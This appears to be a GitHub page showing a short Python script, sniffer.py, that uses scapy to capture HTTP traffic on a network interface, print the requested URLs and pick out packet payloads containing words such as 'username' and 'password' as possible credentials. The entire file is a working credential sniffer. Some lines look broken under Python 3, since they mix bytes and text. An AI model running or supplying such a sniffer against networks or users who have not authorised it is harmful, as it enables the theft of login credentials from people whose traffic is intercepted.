forked from avinashkranjan/Amazing-Python-Scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsniffer.py
38 lines (28 loc) · 1.09 KB
/
sniffer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import scapy.all as scapy
from scapy.layers import http
# from scapy_http import http
def get_url(packet):
# for detecting urls
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
def sniff(interface):
# prn it will excute a function which we will give it after capturing packet
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
def get_login_info(packet):
if packet.haslayer(scapy.Raw):
# finding and printing Raw layer
# print(packet[scapy.Raw].load)
load = packet[scapy.Raw].load
keywords = ["username", "user", "login", "password", "pass"]
for keyword in keywords:
if keyword in load:
return load
def process_sniffed_packet(packet):
if packet.haslayer(http.HTTPRequest):
url = get_url(packet)
print("[+] HTTP REQUEST >> \n" + url)
login_info = get_login_info(packet)
if login_info:
print("\n\n[+] possible username/password >>" + login_info +
"\n\n")
# ----interfaceon which you want to sniff
sniff("eth0")